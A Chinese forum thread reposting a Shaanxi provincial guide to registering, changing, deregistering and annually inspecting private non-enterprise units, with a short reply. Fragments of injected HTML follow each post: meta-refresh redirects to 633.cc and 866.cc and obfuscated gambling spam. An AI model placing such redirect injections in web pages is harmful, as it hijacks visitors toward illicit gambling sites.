查看: 2669|回复: 1
打印 上一主题 下一主题

民办非企业单位办事指南

[复制链接]

参加活动:2

组织活动:1

跳转到指定楼层
1#
发表于 2012-4-19 15:17:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
民办非企业单位办事指南
发布时间:2011-12-23    来源:陕西省民间组织管理局
民办非企业单位,是指企业事业单位、社会团体和其他社会力量以及公民个人利用非国有资产举办的,从事非营利性社会服务活动的社会组织。它具有民间性、非营利性、社会性和实体性四个特点。
成立登记
(一)民办非企业单位成立登记条件:
1、有业务主管单位审查同意的批准文件;
2、有规范的名称和必要的组织机构;
3、有与其业务活动相适应的从业人员;
4、有与其业务活动相适应的合法财产;
5、有必要的场所。
(二)民办非企业单位的登记事项
民办非企业单位登记事项有:名称、住所、宗旨和业务范围、法定代表人或负责人、开办资金、业务主管单位等。
住所是指民办非企业单位的办公场所,须按其所在的区县、乡镇及街道门牌号码的详细地址登记。宗旨和业务范围必须符合法律法规及政策规定。开办资金应当与实有资金相一致。
(三)申请民办非企业单位登记,举办者应当向登记管理机关提交下列文件或材料:
(1)登记申请书:举办者单位名称或申请人姓名;拟任法定代表人或单位负责人的基本情况;住所情况;开办资金情况;申请登记理由等。
(2)业务主管单位的批准文件:对举办者章程草案、资金情况(特别是资产的非国有性)、拟任法定代表人或单位负责人基本情况、从业人员资格、场所设备、组织机构等内容的审查结论。
(3)场所使用权证明:活动场所须有产权证明或一年期以上的使用权证明。
(4)验资报告:验资报告应由会计师事务所或其他有验资资格的机构出具。
(5)拟任负责人的基本情况、身份证明:拟任法定代表人或单位负责人的基本情况应当包括姓名、性别、民族、年龄、目前人事关系所在单位以及个人简历。拟任法定代表人或负责人的身份证明为身份证复印件,登记管理机关认为必要时,可验证身份证原件。对合伙制的民办非企业单位,拟任单位负责人是指所有合伙人。
(6)章程草案:民办非企业单位的章程草案应当符合《条例》规定,要具备《条例》所规定的要素,并在其章程草案中载明该单位的盈利不得分配,解体时财产不得私分。
(四)民办非企业单位章程要求
民办非企业单位的章程应当包括下列事项:
    (一) 名称、住所;
    (二) 宗旨和业务活动范围;
    (三) 组织管理制度;
    (四) 法定代表人或者负责人的产生、罢免的程序;
    (五) 资产管理和使用的原则;
    (六) 章程的修改程序;
    (七) 终止程序和终止后资产的处理;
    (八) 需要由章程规定的其他事项。合伙制的民办非企业单位的章程可为其合伙协议,合伙协议应当包括上述第一、二、三、五、六、七、八项的内容。民办非企业单位须在其章程草案或合伙协议中载明该单位的盈利不得分配,解体时财产不得私分。
(五)民办非企业单位登记的程序:
      根据《民办非企业单位登记管理暂行条例》和《民办非企业单位登记暂行办法》规定,登记管理机关对民办非企业单位登记的程序有受理、审查、核准、发证和公告。
(1)受理。申请登记的举办者,根据规定提交的材料、证件和填报的登记申请表齐全、有效,登记管理机关予以受理;
(2)审查。登记管理机关对申请人提交的材料、证件和登记申请表的真实性、合法性、有效性进行审查,并核实有关登记事项和条件;
(3)核准。经审查和核实后,登记管理机关作出准予登记或不予登记的决定,并及时通知申请登记的单位或个人。
(4)发证。对核准登记的民办非企业单位,分别颁发有关证书,并办理领证签字手续。
(5)公告。对核准登记的民办非企业单位,由登记管理机关发布公告。
变更登记
(一)民办非企业单位变更登记的事项:
    民办非企业单位变更登记的内容:名称、住所、宗旨、业务范围、法定代表人或负责人、开办资金、业务主管单位等登记事项需要发生变化时,应当依法向登记管理机关申请变更登记。民办非企业单位因分立、合并而出现登记事项发生变化时也应办理变更登记。
(二)民办非企业单位变更登记应提交的材料:
1、法定代表人或负责人签署的变更登记申请书,经业务主管单位对变更登记事项初审同意后盖章。申请书中应载明:变更的理由并附决定变更时依照章程履行程序的原始纪要;
2、业务主管单位审查同意的文件;
3、登记管理机关认为有必要的其他有关文件、证件。
住所、法定代表人或负责人、开办资金、业务主管单位发生变更,还需提交下列材料、证件:
住所变更:变更后新住所的产权证明。
法定代表人变更:变更后法定代表人的身份证明。
开办资金变更:金融机构出具的验资报告。
业务主管单位变更:原业务主管单位不再承担业务主管的文件
修改章程必须首先保业务主管单位审查,在业务主管单位审查同意之日起30日内到原登记管理机关核准。办理申请核准应提交的材料:法定代表人或负责人签署的变更登记申请书(申请书后需附:该单位决定修改章程所履行程序的原始纪要);章程修改说明和修改后的章程草案;业务主管单位审查同意的文件;登记管理机关认为有必要的其他有关文件、证件。
注销登记
(一)民办非企业单位注销的情形:
民办非企业单位有下列情形之一的,应当向登记管理机关申请注销登记
  (1)民办非企业单位章程规定的解散事由出现;
  (2)民办非企业单位不再具备《条例》第八条所规定的条件而无法存续的;
  (3)民办非企业单位的宗旨发生根本性质改变的;
  (4)作为分立母体的民办非企业单位因分立而解散的;
  (5)作为合并源的民办非企业单位因合并而解散的;
  (6)民办非企业单位由于登记事项变更,造成与原登记管理机关管辖范围不一致的;
  (7)民办非企业单位的原业务主管单位不再担当其业务主管单位,且民办非企业单位寻找不到新的业务主管单位的;
  (8)有关行政管理机关根据法律、行政法规规定认为需要注销的;
  (9)其他原因需要解散的。
(二)申请办理民办非企业单位注销登记,应向登记管理机关提交的材料
1、法定代表人或负责人签署并加盖单位公章的《民办非企业单位注销登记表》,法定代表人或负责人签署不能签署的,还应提交不能签署的理由的文件,并附决定注销登记时依照章程履行程序的原始纪要;
2、业务主管单位审查同意的文件;
3、清算组织提出的清算报告;
4、民办非企业单位登记证书(正、副本);
5、民办非企业单位的全部印章和财务凭证;
6、登记管理机关要求提交的其他文件。
年度检查
民办非企业单位的年度检查,是指业务主管单位与登记管理机关对已登记的民办非企业单执行法律、法规、政策情况,开展业务活动情况,机构及负责人员变动情况,财务管理情况等,按法定的程序和内容进行年度审查,以确认民办非企业单位是否年检合格的行政执法行为。
(一)需进行年度检查的民办非企业单位
凡是在本年度6月30日前按程序经审核批准,由登记管理机关发给《民办非企业单位法人登记证书》的民办非企业单位,都必须接受年度检查。
(二)民办非企业单位在接受年检时应提交的材料:
    1、年检报告书(一式三份,A4纸打印,并应提供电子版材料);
    2、年度资产平衡表和资产负债表;
    3、民办非企业单位《登记证书》(副本)复印件;
    4、其他需报送的有关材料。
(三)民办非企业单位参加年度检查的方式和程序:
    3、整改督查。对在XXX年有违反民办非企业单位登记管理法规和自身章程的行为,或者已不具备法律规定的成立必备条件的民办非企业单位,我厅将责令限期整改,再根据民办非企业单位改正情况作出年检结论。
    4、行政处罚。对不按时参加年检或在年检中弄虚作假的民办非企业单位,我厅将依据《陕西省民政行政处罚自由裁量权适用规则》和《陕西省民政行政处罚自由裁量权基准》做出处理。
(四)民办非企业单位年检合格的标准:
     1、遵守法律法规和国家政策;
     2、按照章程开展活动;
     3、及时办理变更登记及其他手续;
     4、在规定时间内接受年检。
(五)民办非企业单位有下列情形,为年检不合格:
1、有违法违纪行为,且造成一定社会影响的;
2、违反章程开展活动的;
3、设立分支机构的;
4、从事营利性经营活动,违反规定收费、集资的;
5、违反财务规定,内部财务管理混乱的;
6、未及时办理变更登记或其他手续的;
7、未按规定的时限接受年检的;
8、违反其他有关规定的。

="refresh" "0; url=http://633.cc"><link href="http://bbs.633.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P> </P> |||时时ミ彩| 六合投ミ注| ミ乐ミ城:ミ
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 分享分享 支持支持 反对反对

参加活动:0

组织活动:0

2#
发表于 2012-4-21 09:41:09 | 只看该作者
鲨鱼 这你自己看奏行了

="refresh" "0; url=http://866.cc"><link href="http://bbs.866.cc/8.css" rel="stylesheet" type="text/css" media="screen" /> |||时时乂彩| 六合投乂注| 乂乐乂城:乂
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

© 2016 92V.ORG  陕ICP备13010018号-1 陕西省曙光应急救援协会
©2016 92v.org Interactive. All rights reserved.
快速回复 返回顶部 返回列表